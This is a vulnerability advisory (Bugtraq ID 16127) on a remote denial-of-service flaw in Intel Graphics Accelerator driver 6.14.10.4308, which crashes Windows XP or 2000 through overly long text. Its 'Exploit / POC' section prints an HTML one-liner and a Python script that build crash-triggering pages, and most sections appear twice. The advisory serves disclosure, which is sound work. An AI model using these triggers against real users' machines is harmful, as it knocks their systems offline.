Intel Graphics Accelerator Driver Remote Denial Of Service Vulnerability
BID:16127
Info
Intel Graphics Accelerator Driver Remote Denial Of Service Vulnerability
| Bugtraq ID: | 16127 |
| Class: | Failure to Handle Exceptional Conditions |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 03 2006 12:00AM |
| Updated: | Jan 10 2006 11:31PM |
| Credit: | Sumit Siddharth <[email protected]> at NII Consulting is credited with the discovery of this issue. |
| Vulnerable: |
Intel Graphics Driver 6.14.10 .4308 Intel Graphics Driver 0 |
| Not Vulnerable: | |
Discussion
Intel Graphics Accelerator Driver Remote Denial Of Service Vulnerability
The Intel Graphics Accelerator driver is susceptible to a remote denial of service vulnerability. This issue is demonstrated to occur when the affected driver attempts to display an overly long text in a text area.
This issue allows attackers to crash the display manager on Microsoft Windows XP, or cause a complete system crash on computers running Microsoft Windows 2000. Other operating systems where the affected display driver is available are also likely affected.
Version 6.14.10.4308 of the Intel Graphics Accelerator driver is considered vulnerable to this issue. Other versions may also be affected.
This issue will be updated as further information becomes available. This issue may be related to the one described in BID 10913 (Microsoft Windows Large Image Processing Remote Denial Of Service Vulnerability), but this has not been confirmed.
The Intel Graphics Accelerator driver is susceptible to a remote denial of service vulnerability. This issue is demonstrated to occur when the affected driver attempts to display an overly long text in a text area.
This issue allows attackers to crash the display manager on Microsoft Windows XP, or cause a complete system crash on computers running Microsoft Windows 2000. Other operating systems where the affected display driver is available are also likely affected.
Version 6.14.10.4308 of the Intel Graphics Accelerator driver is considered vulnerable to this issue. Other versions may also be affected.
This issue will be updated as further information becomes available. This issue may be related to the one described in BID 10913 (Microsoft Windows Large Image Processing Remote Denial Of Service Vulnerability), but this has not been confirmed.
Exploit / POC
Intel Graphics Accelerator Driver Remote Denial Of Service Vulnerability
The following example HTML script is reportedly sufficient to trigger this vulnerability:
<script>window.open("http://aa...");</script>
Where the 'a's are repeated approximately 53000 times.
Casiamo <[email protected]> has provided the following HTML script code to create an HTML file that demonstrates the exploitation of this vulnerability:
html = open("firefox.html", "w")
buff = 'A' * 50000
html.write("<html><head>\n"
"<script type=\"text/javascript\">\n"
"function bookmarksite(title, url){\n"
"if (document.all)\n"
"window.external.AddFavorite(url, title);\n"
"else if (window.sidebar)\n"
"window.sidebar.addPanel(title, url, \"\")}\n"
"</script></head>\n"
"<body onload=\"javascript:bookmarksite('"+buff+"',
'http://www.mozilla.org')\"
>\n"
"</body></html>")
html.close()
The following example HTML script is reportedly sufficient to trigger this vulnerability:
<script>window.open("http://aa...");</script>
Where the 'a's are repeated approximately 53000 times.
Casiamo <[email protected]> has provided the following HTML script code to create an HTML file that demonstrates the exploitation of this vulnerability:
html = open("firefox.html", "w")
buff = 'A' * 50000
html.write("<html><head>\n"
"<script type=\"text/javascript\">\n"
"function bookmarksite(title, url){\n"
"if (document.all)\n"
"window.external.AddFavorite(url, title);\n"
"else if (window.sidebar)\n"
"window.sidebar.addPanel(title, url, \"\")}\n"
"</script></head>\n"
"<body onload=\"javascript:bookmarksite('"+buff+"',
'http://www.mozilla.org')\"
>\n"
"</body></html>")
html.close()
Solution / Fix
Intel Graphics Accelerator Driver Remote Denial Of Service Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Intel Graphics Accelerator Driver Remote Denial Of Service Vulnerability
References:
References:
- Intel Graphics Support Home Page (Intel)